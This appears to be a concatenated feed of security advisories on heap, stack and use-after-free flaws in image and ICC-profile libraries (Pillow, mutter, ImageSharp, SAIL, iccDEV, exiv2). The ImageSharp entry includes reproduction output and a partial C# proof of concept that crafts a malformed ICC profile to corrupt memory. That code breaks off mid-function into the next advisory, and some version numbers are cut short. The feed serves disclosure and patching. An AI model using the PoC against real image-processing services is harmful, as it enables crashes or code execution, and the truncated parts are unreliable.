Pillow versions from 2.0.0 up to but not including 13.0.0 contain a heap buffer overflow vulnerability in the _tiffWriteProc function when saving compressed TIFF images to targets without a usable file descriptor, such as BytesIO. This flaw allows an attacker-controlled TIFF tag or ICC profile to overflow the heap buffer, potentially causing a crash or enabling code execution. Additionally, stale heap data may be disclosed through unwritten alignment gaps in compressed TIFF output larger than 64 KiB. The issue is fixed in Pillow version 13.0.0.
A heap out-of-bounds write vulnerability exists in the Pillow Python imaging library versions 9.4.0 through 12.x, fixed in 13.0.0. The flaw occurs in the JPEG encoding process when handling ICC profiles that exactly fill the 65536-byte encoder buffer, allowing an attacker-controlled comment and image data to overwrite adjacent heap memory. This can cause a crash or potentially enable code execution under certain runtime and heap conditions.
CVE-2026-108094 is a use-after-free vulnerability in the mutter compositor component of Red Hat Enterprise Linux 10, specifically in the Wayland color-management ICC image-description path. A local attacker with the ability to run a malicious Wayland client can trigger this flaw by destroying a resource while an asynchronous ICC file read is ongoing. This leads to the compositor using freed memory, causing a crash of the GNOME session and potentially allowing arbitrary code execution within the compositor process.
### Summary
When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with
more than four output channels can corrupt memory during ImageSharp color
conversion. The ICC parser accepts up to 15 CLUT output channels, while the
conversion implementation stores intermediate values in `Vector4`.
### Affected package and versions
- Package: `SixLabors.ImageSharp` (NuGet)
- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**
- Affected range: `>= 4.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.
The reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three.
### Details
`IccClut` accepts one through fifteen input and output channels. In the
reproduced `A2B0` LUT16 path, an attacker-controlled profile declares three
input channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87)
passes a pointer to a four-float `Vector4` result into interpolation code that
writes one float per declared output channel. It consequently writes fifteen
floats. The same LUT16 tag also has fifteen output LUTs; their
[`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58)
implementation uses `Unsafe.Add` from the first float of a four-float `Vector4`.
An application reaches this code by decoding an image containing the profile
with `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the
default and does not run ICC conversion.
### Reproduction environment and result
The supplied exploit and control were run against the published NuGet 4.1.1
`net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and
.NET runtime 8.0.30.
The control changes only the declared output-channel count from fifteen to
three and completes successfully. The exploit terminates with exit status 139
before it reaches the completion marker. This runtime PoC establishes memory
corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which
unsafe write first corrupts the stack. The full self-contained Docker PoC is
included below.
Complete control output:
```text
mode=control output_channels=3
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=204
decode_completed
Docker exit status: 0
```
Complete exploit output:
```text
mode=exploit output_channels=15
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=207
Docker exit status: 139
```
No active exploitation is known.
### Impact
Applications that enable ICC conversion while processing attacker-supplied
images can be made to terminate through memory corruption in the reproduced
LUT16 CLUT/output-LUT path. This report is limited to output-channel counts
greater than four in that path; it does not claim a TRC issue or other
unreproduced ICC paths.
### Complete PoC files
Program.cs:
```csharp
using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;
static class Program
{
private static void U32(Stream stream, uint value)
{
Span<byte> bytes = stackalloc byte[4];
BinaryPrimitives.WriteUInt32BigEndian(bytes, value);
stream.Write(bytes);
}
private static void U16(Stream stream, ushort value)
{
Span<byte> bytes = stackalloc byte[2];
BinaryPrimitives.WriteUInt16BigEndian(bytes, value);
stream.Write(bytes);
}
private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));
// A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control
// difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4.
private static byte[] BuildIcc(int outCh)
{
const int inCh = 3;
const int clutPoints = 2;
const int tableEntries = 2;
using var stream = new MemoryStream();
byte[] header = new byte[128];
BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3
Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device
Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16);
Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20);
stream.Write(header);
SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. Prior to commit 45d48d1f2e8e0d73e80bc1fd5310cb57f4547302, the TGA codec's RLE decoder in `tga.c` has an asymmetric bounds check vulnerability. The run-packet path (line 297) correctly clamps the repeat count to the remaining buffer space, but the raw-packet path (line 305-311) has no equivalent bounds check. This allows writing up to 496 bytes of attacker-controlled data past the end of a heap buffer. Commit 45d48d1f2e8e0d73e80bc1fd5310cb57f4547302 patches the issue.
SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. Prior to commit c930284445ea3ff94451ccd7a57c999eca3bc979, the PSD codec computes bytes-per-pixel (`bpp`) from raw header fields `channels * depth`, but the pixel buffer is allocated based on the resolved pixel format. For LAB mode with `channels=3, depth=16`, `bpp = (3*16+7)/8 = 6`, but the format `BPP40_CIE_LAB` allocates only 5 bytes per pixel. Every pixel write overshoots, causing a deterministic heap buffer overflow on every row. Commit c930284445ea3ff94451ccd7a57c999eca3bc979 contains a patch.
SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. Prior to commit 36aa5c7ec8a2bb35f6fb867a1177a6f141156b02, the XWD codec resolves pixel format based on `pixmap_depth` but the byte-swap code uses `bits_per_pixel` independently. When `pixmap_depth=8` (BPP8_INDEXED, 1 byte/pixel buffer) but `bits_per_pixel=32`, the byte-swap loop accesses memory as `uint32_t*`, reading/writing 4x the allocated buffer size. This is a different vulnerability from the previously reported GHSA-3g38-x2pj-mv55 (CVE-2026-27168), which addressed `bytes_per_line` validation. Commit 36aa5c7ec8a2bb35f6fb867a1177a6f141156b02 contains a patch.
iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a crafted ICC profile can trigger Undefined Behavior (UB) via a null-pointer member call in CIccCombinedConnectionConditions::CIccCombinedConnectionConditions() (reported by UBSan as “member call on null pointer of type CIccTagSpectralViewingConditions”). The issue is reachable when running iccApplyNamedCmm with -PCC using a malformed .icc profile. This issue has been patched in version 2.3.1.6.
iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, a crafted ICC profile can trigger a stack overflow (SO) in SIccCalcOp::ArgsUsed(). The issue is observable under AddressSanitizer as a stack-overflow when iccApplyProfiles processes a malicious profile, with the crash occurring while computing argument usage during calculator underflow/overflow checks. This issue has been patched in version 2.3.1.6.
This security update for exiv2 addresses multiple vulnerabilities including out-of-bounds reads, denial of service, heap buffer overflow, integer overflow, and performance degradation issues. The update corresponds to exiv2 version 0.28.8 and fixes several CVEs ranging from 2024 to 2026. These vulnerabilities affect various components such as QuickTimeVideo, AsfVideo, EpsImage, ICC profile parsing, CrwMap, and LoaderNative. The issues could lead to crashes, memory corruption, or denial of service when processing crafted image or video files.
CVE-2026-31792 is a high-severity vulnerability in iccDEV, a library used for ICC color profile management. The flaw is a NULL pointer dereference in the CIccTagXmlStruct::ParseTag() function, which can cause a segmentation fault leading to denial of service. This affects all iccDEV versions prior to 2.3.1.5. Exploitation requires user interaction and local access, as the attack vector is local with low attack complexity and no privileges required. The vulnerability impacts confidentiality, integrity, and availability due to potential crashes and memory corruption. No known exploits are currently reported in the wild. The issue is fixed in version 2.
CVE-2026-30987 is a high-severity stack-based buffer overflow vulnerability in the InternationalColorConsortium's iccDEV library versions prior to 2.3.1.5. The flaw exists in the CIccTagNum<>::GetValues() function, where input size is not properly checked before copying data to a stack buffer, leading to potential stack memory corruption or application crashes. Exploitation requires local access and user interaction, but no privileges are needed. Successful exploitation could allow attackers to execute arbitrary code, compromise confidentiality, integrity, and availability of affected systems. No known exploits are currently reported in the wild. The vulnerability affects software that processes ICC color profiles, which are widely used in imaging, printing, and color management applications. Organizations relying on iccDEV for color profile handling should upgrade to version 2.
CVE-2026-30983 is a high-severity stack-based buffer overflow vulnerability in the InternationalColorConsortium's iccDEV library versions prior to 2.3.1.5. The flaw exists in the icFixXml() function, which uses an unsafe strcpy call without verifying input size, leading to potential stack memory corruption or crashes. Exploitation requires local access and user interaction, but no privileges are needed. Successful exploitation could result in full confidentiality, integrity, and availability compromise of affected systems. Although no known exploits are currently in the wild, the vulnerability poses a significant risk to applications relying on iccDEV for ICC color profile management. The vulnerability is fixed in version 2.3.
iccDEV provides a set of libraries and tools for working with ICC color management profiles. In versions up to and including 2.3.1.4, heap-buffer-overflow read occurs during CIccTagTextDescription::Release() when strlen() reads past a heap buffer while parsing ICC profile XML text description tags, causing a crash. Commit 29d088840b962a7cdd35993dfabc2cb35a049847 fixes the issue. No known workarounds are available.